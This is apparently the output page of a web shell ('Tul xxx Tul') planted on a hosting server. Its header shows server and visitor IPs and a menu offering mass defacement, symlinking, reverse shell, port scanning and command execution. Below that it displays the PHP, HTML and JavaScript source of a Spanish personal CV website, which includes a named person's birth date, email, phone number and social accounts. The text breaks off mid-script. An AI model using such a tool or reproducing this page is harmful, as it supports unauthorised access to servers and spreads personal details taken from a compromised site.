Tul xxx Tul
User / IP
:
216.73.216.217
Host / Server
:
45.84.207.204 / aircan.me
System
:
Linux lt-bnk-web1726.main-hosting.eu 5.14.0-611.36.1.el9_7.x86_64 #1 SMP PREEMPT_DYNAMIC Tue Mar 3 11:23:52 EST 2026 x86_64
Command
|
Upload
|
Create
Mass Deface
|
Jumping
|
Symlink
|
Reverse Shell
Ping
|
Port Scan
|
DNS Lookup
|
Whois
|
Header
|
cURL
:
/
home
/
u931257429
/
domains
/
aircan.me
/
public_html
/
curriculum
/
Viewing: index.php
<!DOCTYPE html> <html lang="es"> <head> <meta charset="UTF-8"> <meta content="width=device-width, initial-scale=1.0" name="viewport"> <meta content="Pagina web personal de Daniel Contreras" name="description"> <meta content="Daniel Contreras" name="author"> <title>Daniel Contreras</title> <!-- Favicon --> <link rel="icon" href="assets/img/ico/cv-favicon.svg" type="image/svg+xml"> <link rel="alternate icon" href="assets/img/ico/favicon2.png" type="image/png"> <link rel="apple-touch-icon" href="assets/img/ico/apple-touch-icon-144-precomposed.png" sizes="144x144"> <meta name="theme-color" content="#0f172a"> <link rel="manifest" href="manifest.webmanifest"> <meta name="mobile-web-app-capable" content="yes"> <meta name="apple-mobile-web-app-capable" content="yes"> <meta name="apple-mobile-web-app-status-bar-style" content="black-translucent"> <!-- Google Fonts --> <link href="https://fonts.googleapis.com/css?family=Open+Sans:300,300i,400,400i,600,600i,700,700i|Raleway:300,300i,400,400i,500,500i,600,600i,700,700i|Poppins:300,300i,400,400i,500,500i,600,600i,700,700i" rel="stylesheet"> <!-- Vendor CSS Files --> <link href="assets/vendor/bootstrap/css/bootstrap.min.css" rel="stylesheet"> <link href="assets/vendor/icofont/icofont.min.css" rel="stylesheet"> <link href="assets/vendor/boxicons/css/boxicons.min.css" rel="stylesheet"> <link href="assets/vendor/venobox/venobox.css" rel="stylesheet"> <link href="assets/vendor/owl.carousel/assets/owl.carousel.min.css" rel="stylesheet"> <link href="assets/vendor/aos/aos.css" rel="stylesheet"> <!-- CSS --> <link href="assets/css/style.css" rel="stylesheet"> </head> <body> <?php // Helpers para cargar contenido dinámico desde el panel require_once __DIR__ . '/assets/php/content_blocks.php'; require_once __DIR__ . '/assets/php/list_utils.php'; require_once __DIR__ . '/assets/php/get_content.php'; // fallback para texto antiguo ?> <!-- ======= Mobile nav toggle button ======= --> <button class="mobile-nav-toggle d-xl-none" type="button" aria-label="Abrir menú" title="Abrir menú"> <i class="icofont-navigation-menu"></i> </button> <!-- Botón flotante de descarga CV (solo móvil/tablet) --> <button class="cv-download-fab d-xl-none" type="button" aria-label="Descargar CV" title="Descargar CV" onclick="downloadCVStyled()"> <i class="bx bx-download"></i> </button> <!-- ======= Header ======= --> <header id="header"> <div class="d-flex flex-column"> <div class="profile"> <img alt="" class="img-fluid rounded-circle" src="<?php echo htmlspecialchars(getBlock('site_images','profile_sidebar','assets/img/profile-img.png')); ?>"> <h1 class="text-light"><a href="index.php"><?php echo htmlspecialchars(getBlock('header','name','Daniel Contreras')); ?></a></h1> <div class="social-links mt-3 text-center"> <a class="whatsapp" href="<?php echo htmlspecialchars(getBlock('social','whatsapp_url','https://wa.me/573505849143')); ?>" target="_blank"><i class="bx bxl-whatsapp"></i></a> <a class="facebook" href="<?php echo htmlspecialchars(getBlock('social','facebook_url','https://www.facebook.com/DonnorC')); ?>" target="_blank"><i class="bx bxl-facebook"></i></a> <a class="instagram" href="<?php echo htmlspecialchars(getBlock('social','instagram_url','https://www.instagram.com/donnorc969')); ?>" target="_blank"><i class="bx bxl-instagram"></i></a> <!-- <a class="github" href="https://github.com/daniecontreras"><i class="bx bxl-github"></i></a> --> </div> </div> <nav class="nav-menu"> <ul> <li class="active"><a href="index.php"><i class="bx bx-home"></i> <span>Inicio</span></a></li> <li><a href="#about"><i class="bx bx-user"></i> <span>Sobre mí</span></a></li> <li><a href="#resume"><i class="bx bx-file-blank"></i> <span>Resumen</span></a></li> <li><a href="#proyectos"><i class="bx bx-book-content"></i> Proyectos</a></li> <li><a href="#skills"><i class="bx bx-server"></i> Habilidades</a></li> <li><a href="#certificados"><i class="bx bx-award"></i> Certificados</a></li> <li><a href="#contact"><i class="bx bx-envelope"></i> Contacto</a></li> <li><a href="admin/login.php"><i class="bx bx-lock"></i> Iniciar Sesión</a></li> <li class="download-cv-desktop d-none d-xl-block"> <a href="javascript:void(0)" class="btn-download-cv" onclick="downloadCVStyled()"><i class="bx bx-download"></i> Descargar CV</a> </li> </ul> </nav> <!-- .nav-menu --> <!-- Footer dentro del menú (solo móvil) --> <div class="mobile-menu-footer"> © <?php echo date('Y'); ?> <strong><span>Creado por <a class="aircan-link" href="https://aircan.me/" target="_blank" rel="noopener">Aircan</a> </span></strong> <button type="button" class="pwa-install-btn mini" id="pwaInstallBtnMobile" hidden> <i class="bx bx-download" aria-hidden="true"></i> Instalar </button> </div> <button class="mobile-nav-toggle d-xl-none" type="button" aria-label="Abrir menú" title="Abrir menú"> <i class="icofont-navigation-menu"></i> </button> </div> </header> <!-- Fin Header --> <main id="main"> <!-- ======= Portada ======= --> <section class="d-flex flex-column justify-content-center align-items-center" id="portada" style="background-image: url('<?php echo htmlspecialchars(getBlock('site_images','hero_bg','assets/img/portada-bg.jpg')); ?>'); background-position: top center; background-size: cover;"> <div class="portada-container" data-aos="fade-in"> <h1><?php echo htmlspecialchars(getBlock('header','name','Daniel Contreras')); ?></h1> <p>Yo soy <span class="typed" data-typed-items="<?php echo htmlspecialchars(getBlock('header','typed_items','TSU, Desarrollador, Investigador')); ?>"></span></p> </div> </section> <!-- Fin Portada --> <!-- ======= Sobre Mi Seccion ======= --> <section class="about" id="about"> <div class="container"> <div class="section-title"> <h2>SOBRE MÍ</h2> <p><?php echo nl2br(htmlspecialchars(getBlock('about','text', getContent('about')))); ?></p> </div> <div class="row"> <div class="col-lg-4" data-aos="fade-right"> <img alt="" class="img-fluid" src="<?php echo htmlspecialchars(getBlock('site_images','about_photo','assets/img/perfil.png')); ?>"> </div> <div class="col-lg-8 pt-4 pt-lg-0 content" data-aos="fade-left"> <h3>INFORMACIÓN PERSONAL</h3> <div class="row"> <div class="col-lg-6"> <ul> <li><i class="icofont-rounded-right"></i> <strong>Nombre:</strong> <?php echo htmlspecialchars(getBlock('about','nombre','Daniel Alexander Contreras Rojas')); ?></li> <li><i class="icofont-rounded-right"></i> <strong>Fecha nacimiento:</strong> <?php echo htmlspecialchars(getBlock('about','fecha_nacimiento','25 de Agosto de 2005')); ?></li> </ul> </div> <div class="col-lg-6"> <ul> <li><i class="icofont-rounded-right"></i> <strong>Email:</strong> <?php echo htmlspecialchars(getBlock('about','email','danisuperalex@gmail.com')); ?></li> <li><i class="icofont-rounded-right"></i> <strong>Web:</strong> <?php echo htmlspecialchars(getBlock('about','web','silicon-ballic.webcindario.com')); ?></li> </ul> </div> </div> <h3>¿QUÉ SÉ HACER?</h3> <p class="font-italic"><?php echo nl2br(htmlspecialchars(getBlock('about','que_se_hacer_text','Gracias a mi formación...'))); ?></p> <div class="row"> <div class="col-lg-6"> <ul> <?php $left = getBlockLines('about','list_left'); if (!$left) { $left = []; } ?> <?php foreach ($left as $item): ?> <li><i class="icofont-rounded-right"></i> <?php echo htmlspecialchars($item); ?></li> <?php endforeach; ?> </ul> </div> <div class="col-lg-6"> <ul> <?php $right = getBlockLines('about','list_right'); if (!$right) { $right = []; } ?> <?php foreach ($right as $item): ?> <li><i class="icofont-rounded-right"></i> <?php echo htmlspecialchars($item); ?></li> <?php endforeach; ?> </ul> </div> </div> </div> </div> </div> </section> <!-- Fin de Seccion Sobre Mi--> <!-- ======= Resume Seccion ======= --> <section class="resume" id="resume"> <div class="container"> <div class="section-title"> <h2>Resúmen</h2> </div> <div class="row"> <div class="col-lg-6" data-aos="fade-up"> <h3 class="resume-title">Educación</h3> <?php $edu = fetchList('education'); if ($edu) : foreach ($edu as $e): ?> <div class="resume-item"> <h4><?php echo htmlspecialchars($e['title']); ?></h4> <?php if (!empty($e['date_range'])): ?><h5><?php echo htmlspecialchars($e['date_range']); ?></h5><?php endif; ?> <?php if (!empty($e['organization'])): ?><p><em><?php echo htmlspecialchars($e['organization']); ?></em></p><?php endif; ?> <?php if (!empty($e['description'])): ?><p><?php echo nl2br(htmlspecialchars($e['description'])); ?></p><?php endif; ?> </div> <?php endforeach; else: ?> <p>No hay educación cargada. Añádela desde el panel.</p> <?php endif; ?> <h3 class="resume-title">Cursos y certificaciones</h3> <?php $courses = fetchList('courses'); if ($courses) : foreach ($courses as $c): ?> <div class="resume-item"> <h4><?php echo htmlspecialchars($c['title']); ?></h4> <?php if (!empty($c['date_range'])): ?><h5><?php echo htmlspecialchars($c['date_range']); ?></h5><?php endif; ?> <?php if (!empty($c['organization'])): ?><p><em><?php echo htmlspecialchars($c['organization']); ?></em></p><?php endif; ?> <?php if (!empty($c['description'])): ?><p><?php echo nl2br(htmlspecialchars($c['description'])); ?></p><?php endif; ?> </div> <?php endforeach; else: ?> <p>No hay cursos cargados. Añádelos desde el panel.</p> <?php endif; ?> </div> <div class="col-lg-6" data-aos="fade-up" data-aos-delay="100"> <h3 class="resume-title">Experiencia Profesional</h3> <?php $exp = fetchList('experience'); if ($exp) : foreach ($exp as $x): ?> <div class="resume-item"> <h4><?php echo htmlspecialchars($x['title']); ?></h4> <?php if (!empty($x['date_range'])): ?><h5><?php echo htmlspecialchars($x['date_range']); ?></h5><?php endif; ?> <?php if (!empty($x['organization'])): ?><p><em><?php echo htmlspecialchars($x['organization']); ?></em></p><?php endif; ?> <?php if (!empty($x['description'])): ?><p><?php echo nl2br(htmlspecialchars($x['description'])); ?></p><?php endif; ?> </div> <?php endforeach; else: ?> <p>No hay experiencia cargada. Añádela desde el panel.</p> <?php endif; ?> <!-- <div class="resume-item"> <h4>Investigación en tecnologías Blockchain</h4> <h5>2018 - 2019</h5> <p><em>Fundación Universidad de Oviedo</em></p> <ul> <li>Beca para investigación en tecnologías Blockchain y su impacto en el mercado, centradas en el producto Hyperledger Fabric de IBM. </li> </ul> </div> <div class="resume-item"> <h4>Jurado internacional de cine</h4> <h5>2014</h5> <p><em>Ajyal Youth Film Festival</em></p> <ul> <li>Representante español en el festival internacional de cine en Doha (Ajyal Youth Film Festival), como miembro del jurado. </li> </ul> </div> <div class="resume-item"> <h4>Jurado internacional de cine</h4> <h5>2014</h5> <p><em>Giffoni Film Festival</em></p> <ul> <li>Representante español en el festival internacional de cine de Giffoni, que tuvo lugar en 2014, como miembro del jurado. </li> </ul> </div> --> </div> </div> </div> </section> <!-- End Resume Section --> <!-- ======= Proyectos Section ======= --> <section class="proyectos section-bg" id="proyectos"> <div class="container"> <div class="section-title"> <h2>Proyectos</h2> <p>Aquí se resumen algunos de mis principales proyectos activos.</p> </div> <!-- Filtros eliminados: mostramos todos los proyectos --> <div class="row proyectos-container" data-aos="fade-up" data-aos-delay="100"> <?php require_once __DIR__ . '/assets/php/projects_utils.php'; $projects = fetchProjects(); if ($projects) { foreach ($projects as $p) { $img = htmlspecialchars($p['image_path']); $title = htmlspecialchars($p['title']); echo '<div class="col-lg-4 col-md-6 proyectos-item">'; echo ' <div class="proyectos-wrap">'; echo ' <div class="proyectos-title"><h4>' . $title . '</h4></div>'; echo ' <a href="' . $img . '" class="venobox" data-gall="proyectosGallery" title="' . $title . '">'; echo ' <img alt="' . $title . '" class="img-fluid" src="' . $img . '">'; echo ' </a>'; echo ' </div>'; echo '</div>'; } } else { echo '<div class="col-12"><p>No hay proyectos aún. Súbelos desde el panel.</p></div>'; } ?> </div> </div> </section> <!-- Fin Proyectos --> <!-- ======= Skills Section ======= --> <section class="skills" id="skills"> <div class="container"> <div class="section-title"> <h2>Habilidades</h2> </div> <div class="row"> <?php $skills = fetchList('skills'); $delay = 0; if ($skills) : foreach ($skills as $i=>$s): ?> <div class="col-lg-4 col-md-6 icon-box" data-aos="fade-up" <?php $delay = ($i%3)*100; if($delay) echo 'data-aos-delay="'.$delay.'"'; ?>> <div class="icon"><i class="<?php echo htmlspecialchars($s['icon'] ?: 'icofont-computer'); ?>"></i></div> <h4 class="title"><a href=""><?php echo htmlspecialchars($s['title']); ?></a></h4> <p class="description"><?php echo htmlspecialchars($s['description']); ?></p> </div> <?php endforeach; else: ?> <div class="col-12"><p>No hay habilidades cargadas. Añádelas desde el panel.</p></div> <?php endif; ?> </div> </div> </section> <!-- FIN Skills Section --> <!-- ======= Certificados Section ======= --> <section class="section-bg" id="certificados"> <div class="container"> <div class="section-title"> <h2>Certificados</h2> <p>Mis títulos y certificados.</p> </div> <div class="certificates-gallery"> <?php include __DIR__ . '/assets/php/get_certificates.php'; ?> </div> </div> </section> <!-- FIN Certificados Section --> <!-- ======= Contact Section ======= --> <section class="contact" id="contact"> <div class="container"> <div class="section-title"> <h2>Contacto</h2> </div> <div class="row" data-aos="fade-in"> <div class="col-lg-5 d-flex align-items-stretch"> <div class="info"> <div class="email"> <i class="icofont-envelope"></i> <h4>Email:</h4> <?php $contactEmail = getBlock('about','email','danisuperalex@gmail.com'); ?> <p> <a href="mailto:<?php echo htmlspecialchars($contactEmail); ?>"> <?php echo htmlspecialchars($contactEmail); ?> </a> </p> </div> </div> </div> <div class="col-lg-7 mt-5 mt-lg-0 d-flex align-items-stretch"> <form class="php-email-form" id="whatsappForm" onsubmit="sendWhatsApp(event)" role="form"> <div class="form-row"> <div class="form-group col-md-6"> <label for="name">Nombre</label> <input class="form-control" id="name" name="name" type="text" required /> <div class="validate"></div> </div> <div class="form-group col-md-6"> <label for="email">Email</label> <input class="form-control" id="email" name="email" type="email" required /> <div class="validate"></div> </div> </div> <div class="form-group"> <label for="message">Mensaje</label> <textarea class="form-control" name="message" id="message" rows="10" required></textarea> <div class="validate"></div> </div> <div class="mb-3"> <div class="loading">Cargando...</div> <div class="error-message"></div> <div class="sent-message">¡Tu mensaje se ha enviado correctamente!</div> </div> <div class="text-center" style="display:flex; gap:10px; flex-wrap:wrap; justify-content:center;"> <button type="submit" class="btn-whatsapp"><i class="bx bxl-whatsapp"></i> Enviar por WhatsApp</button> <button type="button" class="btn-email" onclick="sendEmail(event)"><i class="bx bx-envelope"></i> Enviar por Email</button> </div> </form> </div> </div> </div> </section> <!-- FIN Contact Section --> </main> <!-- ======= Footer ======= --> <footer id="footer"> <div class="container"> <div class="copyright"> <br> <br> © <?php echo date('Y'); ?> <strong><span>Creado por <a class="aircan-link" href="https://aircan.me/" target="_blank" rel="noopener">Aircan</a> </span></strong> <button type="button" class="pwa-install-btn mini" id="pwaInstallBtnDesktop" hidden> <i class="bx bx-download" aria-hidden="true"></i> Instalar </button> </div> </div> </footer> <!-- Fin Footer --> <a class="back-to-top" href="#"><i class="icofont-simple-up"></i></a> <!-- Vendor JS Files --> <script src="assets/vendor/jquery/jquery.min.js"></script> <script src="assets/vendor/bootstrap/js/bootstrap.bundle.min.js"></script> <script src="assets/vendor/jquery.easing/jquery.easing.min.js"></script> <script src="assets/vendor/waypoints/jquery.waypoints.min.js"></script> <script src="assets/vendor/counterup/counterup.min.js"></script> <script src="assets/vendor/isotope-layout/isotope.pkgd.min.js"></script> <script src="assets/vendor/venobox/venobox.min.js"></script> <script src="assets/vendor/owl.carousel/owl.carousel.min.js"></script> <script src="assets/vendor/typed.js/typed.min.js"></script> <script src="assets/vendor/aos/aos.js"></script> <!-- Main JS File --> <script src="assets/js/main.js"></script> <script src="assets/js/pwa.js"></script> <!-- SweetAlert2 y jsPDF para descarga de CV --> <script src="https://cdn.jsdelivr.net/npm/sweetalert2@11"></script> <script src="https://cdn.jsdelivr.net/npm/jspdf@2.5.1/dist/jspdf.umd.min.js"></script> <!-- Canvas Confetti para celebración al finalizar descarga --> <script src="https://cdn.jsdelivr.net/npm/canvas-confetti@1.6.0/dist/confetti.browser.min.js"></script> <script> // Utilidades usadas por la generación del CV function mm(val) { return val; } function rgb(arr) { return { r: arr[0], g: arr[1], b: arr[2] }; } function hexToRgb(hex){ const m=hex.replace('#',''); return [parseInt(m.substr(0,2),16),parseInt(m.substr(2,2),16),parseInt(m.substr(4,2),16)]; } async function toDataURL(url) { const res = await fetch(url, { cache: 'no-cache' }); if (!res.ok) throw new Error('No se pudo cargar la imagen'); const blob = await res.blob(); return new Promise((resolve) => { const reader = new FileReader(); reader.onloadend = () => resolve({ dataUrl: reader.result, type: blob.type }); reader.readAsDataURL(blob); }); } // Efectos visuales para el botón flotante de descarga (solo en vista móvil) function getCvFabIfMobile() { const isMobileView = window.matchMedia('(max-width: 1199px)').matches; if (!isMobileView) return null; return document.querySelector('.cv-download-fab'); } function fabStartLoading(fab){ if(!fab) return; fab.classList.remove('is-done','is-error'); fab.classList.add('is-loading'); } function fabDone(fab){ if(!fab) return; fab.classList.remove('is-loading'); fab.classList.add('is-done'); setTimeout(()=>fab.classList.remove('is-done'), 900); } function fabError(fab){ if(!fab) return; fab.classList.remove('is-loading'); fab.classList.add('is-error'); setTimeout(()=>fab.classList.remove('is-error'), 700); } function confettiBurstAt(el) { if (!window.confetti || !el) return; const rect = el.getBoundingClientRect(); const cx = (rect.left + rect.width/2) / window.innerWidth; const cy = (rect.top + rect.height/2) / window.innerHeight; const base = { origin: { x: Math.min(Math.max(cx, 0), 1), y: Math.min(Math.max(cy, 0), 1) } }; confetti({ ...base, particleCount: 90, spread: 65, startVelocity: 45, gravity: 0.9, scalar: 0.9 }); setTimeout(()=> confetti({ ...base, particleCount: 60, spread: 26, startVelocity: 35, gravity: 1.0, scalar: 0.8 }), 70); } // Descarga de CV con estilo profesional (igual al panel) async function downloadCVStyled() { const Toast = Swal.mixin({ toast:true, position:'top-end', timer:1800, showConfirmButton:false, background:'#0b1324', color:'#e5e7eb' }); const fab = getCvFabIfMobile(); fabStartLoading(fab); try { Toast.fire({ icon:'info', title:'Diseñando tu CV…' }); const res = await fetch('assets/php/export_cv_data_public.php', { headers: { 'X-Requested-With': 'XMLHttpRequest' } }); const data = await res.json(); if (!data || !data.ok) throw new Error('No se pudo obtener la información'); const { jsPDF } = window.jspdf; const doc = new jsPDF({ unit:'mm', format:'a4' }); const page = { w: doc.internal.pageSize.getWidth(), h: doc.internal.pageSize.getHeight() }; const margin = mm(12); const gap = mm(8); const contentW = page.w - margin*2; const leftW = Math.min(mm(72), contentW*0.37); const rightW = contentW - leftW - gap; const leftX = margin; const rightX = margin + leftW + gap; let yLeft = margin; let yRight = margin; // Paleta profesional const colors = { dark: [12,18,32], // navy profundo primary: [59,130,246], // azul primaryLight: [219,234,254], // azul claro accent: [139,92,246], // violeta subtle: [100,116,139], // gris pizarra white: [255,255,255] }; // Metadatos try { const nameMeta = String(data.header?.name || 'Currículum Vitae'); doc.setProperties({ title: `${nameMeta} - CV`, subject: 'Currículum Vitae', author: nameMeta, creator: 'Sitio Web' }); } catch {} // Sidebar izquierda doc.setFillColor(...colors.dark); doc.roundedRect(leftX, yLeft, leftW, page.h - margin*2, 4, 4, 'F'); yLeft += mm(10); // Foto de perfil try { const profile = data.site_images?.profile_sidebar || 'assets/img/profile-img.png'; const img = await toDataURL(profile); const fmt = (img.type || '').toLowerCase().includes('png') ? 'PNG' : 'JPEG'; const imgW = leftW - mm(26); const imgH = imgW; const imgX = leftX + (leftW - imgW)/2; const imgY = yLeft; doc.setFillColor(...colors.white); doc.roundedRect(imgX-2, imgY-2, imgW+4, imgH+4, 3,3, 'F'); doc.addImage(img.dataUrl, fmt, imgX, imgY, imgW, imgH, undefined, 'FAST'); yLeft += imgH + mm(10); } catch {} function leftTitle(title) { doc.setTextColor(...colors.white); doc.setFont('helvetica','bold'); doc.setFontSize(12); doc.text(String(title).toUpperCase(), leftX + mm(10), yLeft); doc.setDrawColor(...colors.accent); doc.setLineWidth(0.6); doc.line(leftX + mm(10), yLeft + 1.5, leftX + leftW - mm(10), yLeft + 1.5); yLeft += mm(6); doc.setFont('helvetica','normal'); doc.setFontSize(10); } const about = data.about || {}; // Sobre mí leftTitle('Sobre mí'); const aboutLines = doc.splitTextToSize(String(about.text || '').replace(/\r/g,''), leftW - mm(20)); doc.text(aboutLines, leftX + mm(10), yLeft); yLeft += aboutLines.length * 4.2 + mm(5); // Contacto leftTitle('Contacto'); const socialData = data.social || {}; const contactItems = []; const telCv = String((data.general && data.general.telefono_cv) || '').trim(); if (telCv) contactItems.push('Tel: ' + telCv); if (about.email) contactItems.push('Email: ' + about.email); if (about.web) contactItems.push('Web: ' + about.web); if (about.direccion) contactItems.push('Dirección: ' + about.direccion); const leftTextW = leftW - mm(20); for (const item of contactItems) { const txt = String(item); const x0 = leftX + mm(10); if (typeof doc.textWithLink === 'function') { if (/^Tel:\s*/i.test(txt)) { const tel = txt.replace(/^Tel:\s*/i, '').trim(); const href = 'tel:' + tel.replace(/[\s()\-]/g,''); doc.textWithLink('Tel: ' + tel, x0, yLeft, { url: href }); yLeft += 5; continue; } if (/^Email:\s*/i.test(txt)) { const email = txt.replace(/^Email:\s*/i, '').trim(); doc.textWithLink('Email: ' + email, x0, yLeft, { url: 'mailto:' + email }); yLeft += 5; continue; } if (/^Web:\s*/i.test(txt)) { const url = txt.replace(/^Web:\s*/i, '').trim(); doc.textWithLink('Web: ' + url, x0, yLeft, { url }); yLeft += 5; continue; } } const lines = doc.splitTextToSize(txt, leftTextW); doc.text(lines, x0, yLeft); yLeft += lines.length * 4 + 1.6; } // Redes (clicables y mostrando también la URL; WhatsApp muestra el número) const socialMap = { facebook_url:'Facebook', instagram_url:'Instagram', twitter_url:'Twitter', linkedin_url:'LinkedIn', github_url:'GitHub', youtube_url:'YouTube', tiktok_url:'TikTok', website_url:'Website', whatsapp_url:'WhatsApp' }; const socialEntries = []; if (data.social) { for (const k in socialMap) { const raw = data.social[k]; if (!raw) continue; const label = socialMap[k]; // Omitir WhatsApp completamente de la sección Redes if (k === 'whatsapp_url') continue; else { socialEntries.push({ label, line1: `${label}:`, urlLine: String(raw), href: String(raw) }); } } } if (socialEntries.length) { yLeft += mm(2); leftTitle('Redes'); const x = leftX + mm(10); for (const s of socialEntries.slice(0, 6)) { // Línea 1: etiqueta (y en WhatsApp incluye número) clickable doc.setTextColor(...colors.white); doc.setFont('helvetica','bold'); doc.setFontSize(9.8); if (typeof doc.textWithLink === 'function') { doc.textWithLink(s.line1, x, yLeft, { url: s.href }); } else { doc.text(s.line1, x, yLeft); } yLeft += 5; // Línea 2: URL impresa doc.setFont('helvetica','normal'); doc.setFontSize(9); doc.setTextColor(...colors.white); const linkLines = doc.splitTextToSize(String(s.urlLine), leftW - mm(20)); doc.text(linkLines, x, yLeft); yLeft += linkLines.length * 4 + 1.6; if (yLeft > page.h - margin - mm(22)) break; } } // Habilidades const skills = (data.lists && data.lists.skills) ? data.lists.skills : []; if (skills.length) { yLeft += mm(2); leftTitle('Habilidades'); doc.setFont('helvetica','normal'); doc.setFontSize(9.5); const max = Math.min(skills.length, 12); for (let i=0;i<max;i++) { const s = skills[i]; const line = '• ' + (s.title || '') + (s.description ? ': ' + s.description : ''); const lines = doc.splitTextToSize(line, leftTextW); doc.text(lines, leftX + mm(10), yLeft); yLeft += lines.length * 3.9 + 1.6; if (yLeft > page.h - margin - mm(18)) break; } } // Encabezado derecho const name = String(data.header?.name || 'Currículum Vitae'); const typed = (data.header?.typed || []).join(' · '); doc.setFillColor(...colors.primary); doc.roundedRect(rightX, yRight, rightW, mm(32), 3,3, 'F'); doc.setTextColor(...colors.white); doc.setFont('helvetica','bold'); doc.setFontSize(22); doc.text(name.toUpperCase(), rightX + mm(6), yRight + mm(13)); if (typed) { doc.setFont('helvetica','normal'); doc.setFontSize(11); doc.text(typed, rightX + mm(6), yRight + mm(21)); } yRight += mm(38); // Resumen breve const resumen = String(about.que_se_hacer_text || '').trim(); if (resumen) { doc.setFillColor(...colors.primaryLight); doc.roundedRect(rightX, yRight - mm(2), rightW, mm(18), 2,2, 'F'); doc.setTextColor(...colors.dark); doc.setFont('helvetica','bold'); doc.setFontSize(12); doc.text('RESUMEN', rightX + mm(6), yRight); doc.setFont('helvetica','normal'); doc.setFontSize(10); const rLines = doc.splitTextToSize(resumen, rightW - mm(10)); doc.text(rLines, rightX + mm(6), yRight + mm(6)); yRight += Math.min(rLines.length, 4) * 4.6 + mm(12); } function sectionTitle(title, x, y) { doc.setFillColor(...colors.accent); doc.roundedRect(x, y - 5, mm(4), mm(4), 1,1, 'F'); doc.setFont('helvetica','bold'); doc.setFontSize(13); doc.setTextColor(...colors.dark); doc.text(String(title).toUpperCase(), x + mm(8), y); } // Experiencia sectionTitle('Experiencia', rightX, yRight); yRight += mm(6); doc.setFont('helvetica','normal'); doc.setFontSize(10); const exp = (data.lists && data.lists.experience) ? data.lists.experience : []; for (let i=0;i<exp.length;i++) { const e = exp[i]; const title = (e.title||''); const range = e.date_range ? ' — ' + e.date_range : ''; const org = e.organization ? `\n${e.organization}` : ''; const head = doc.splitTextToSize(title + range + org, rightW); doc.setFont('helvetica','bold'); doc.text(head, rightX, yRight); yRight += head.length * 4.6 + 1.4; if (e.description) { doc.setFont('helvetica','normal'); const desc = doc.splitTextToSize(e.description, rightW); doc.text(desc, rightX, yRight); yRight += desc.length * 4.6 + 2.4; } if (yRight > page.h - margin - mm(46)) break; } // Educación sectionTitle('Educación', rightX, yRight); yRight += mm(6); doc.setFont('helvetica','normal'); doc.setFontSize(10); const edu = (data.lists && data.lists.education) ? data.lists.education : []; for (let i=0;i<edu.length;i++) { const e = edu[i]; const line1 = (e.title||'') + (e.date_range? ' — ' + e.date_range : ''); const line2 = e.organization || ''; doc.setFont('helvetica','bold'); const l1 = doc.splitTextToSize(line1, rightW); doc.text(l1, rightX, yRight); yRight += l1.length * 4.6 + 1.4; if (line2) { doc.setFont('helvetica','normal'); const l2 = doc.splitTextToSize(line2, rightW); doc.text(l2, rightX, yRight); yRight += l2.length * 4.6 + 2; } if (yRight > page.h - margin - mm(28)) break; } // Cursos y certificaciones (compacto) const courses = (data.lists && data.lists.courses) ? data.lists.courses : []; if (courses.length && yRight < page.h - margin - mm(24)) { sectionTitle('Cursos y certificaciones', rightX, yRight); yRight += mm(6); doc.setFont('helvetica','normal'); doc.setFontSize(10); const maxC = 5; for (let i=0;i<Math.min(courses.length, maxC); i++) { const c = courses[i]; const txt = '• ' + (c.title||'') + (c.organization? ' — ' + c.organization : '') + (c.date_range? ' ('+c.date_range+')' : ''); const lines = doc.splitTextToSize(txt, rightW); doc.text(lines, rightX, yRight); yRight += lines.length * 4.6 + 1.4; if (yRight > page.h - margin - mm(16)) break; } } // Pie de página (centrado con chip clickable) doc.setDrawColor(...colors.subtle); doc.setLineWidth(0.4); const prefix = 'Generado por '; const mmPerPt = 1 / doc.internal.scaleFactor; const brandFontSize = 10; const chipH = 6.8; const chipR = 3.4; const gapW = 2; const footBottom = page.h - margin; const chipY = footBottom - chipH; // medir textos doc.setFont('helvetica','italic'); doc.setFontSize(9); doc.setTextColor(...colors.subtle); const prefixW = doc.getTextWidth(prefix); doc.setFont('helvetica','bold'); doc.setFontSize(brandFontSize); doc.setTextColor(...colors.dark); const brand = 'Aircan.me'; const brandW = doc.getTextWidth(brand); const chipPadX = 3.2; const chipW = Math.max(brandW + chipPadX*2, 20); const totalW = prefixW + gapW + chipW; const startX = (page.w - totalW) / 2; const chipX = startX + prefixW + gapW; let textH = brandFontSize * mmPerPt; if (typeof doc.getTextDimensions === 'function') { try { const dim = doc.getTextDimensions(brand); if (dim && typeof dim.h === 'number' && dim.h > 0) textH = dim.h; } catch {} } const baselineY = chipY + (chipH + textH)/2 - 0.1; // draw prefix doc.setFont('helvetica','italic'); doc.setFontSize(9); doc.setTextColor(...colors.subtle); doc.text(prefix, startX, baselineY); // draw chip with link doc.setFillColor(...colors.accent); doc.roundedRect(chipX, chipY, chipW, chipH, chipR, chipR, 'F'); doc.setTextColor(...colors.white); doc.setFont('helvetica','bold'); doc.setFontSize(brandFontSize); const brandX = chipX + (chipW - brandW)/2; if (typeof doc.textWithLink === 'function') { doc.textWithLink(brand, brandX, baselineY, { url: 'https://aircan.me' }); } else { doc.text(brand, brandX, baselineY); if (typeof doc.link === 'function') { doc.link(chipX, chipY, chipW, chipH, { url: 'https://aircan.me' }); } } // Guardar const safe = (name || 'CV').replace(/[^\w\-\s]/g,'').trim().replace(/\s+/g,'_'); doc.save(`${safe || 'CV'}_CV.pdf`); // Éxito visual en el botón (móvil) y confeti fabDone(fab); confettiBurstAt(fab); } catch (err) { console.error(err); Swal.fire({ icon:'error', title:'No se pudo generar el CV', text: err?.message || 'Inténtalo de nuevo en unos segundos.' }); fabError(fab); } } function sendWhatsApp(event) { event.preventDefault(); const name = document.getElementById('name').value; const email = document.getElementById('email').value; const message = document.getElementById('message').value; // Mensaje formateado (se codifica al final) const msg = `*Nuevo mensaje de contacto*\n\n` + `*Nombre:* ${name}\n` + `*Email:* ${email}\n` + `*Mensaje:*\n${message}`; const encodedMsg = encodeURIComponent(msg); // URL de WhatsApp desde el panel (preferida) o teléfono de respaldo const panelWhatsappUrl = '<?php echo htmlspecialchars(getBlock('social','whatsapp_url','')); ?>'; const fallbackPhone = '<?php echo htmlspecialchars(getBlock('social','whatsapp_phone','')); ?>'; let target = (panelWhatsappUrl || '').trim(); if (target) { // Si el panel guardó solo el número, conviértelo en URL wa.me const justNumber = /^[+]?\d{6,15}$/; if (justNumber.test(target)) { target = 'https://wa.me/' + target.replace(/\D/g, ''); } // Añadir protocolo si falta if (/^wa\.me\//i.test(target)) { target = 'https://' + target; } // Si es api.whatsapp o wa.me, anexa el texto conservando query const sep = target.includes('?') ? '&' : '?'; target = `${target}${sep}text=${encodedMsg}`; } else { // Respaldo con número const digits = String(fallbackPhone || '').replace(/\D/g, ''); target = `https://wa.me/${digits}?text=${encodedMsg}`; } // Abrir WhatsApp en una 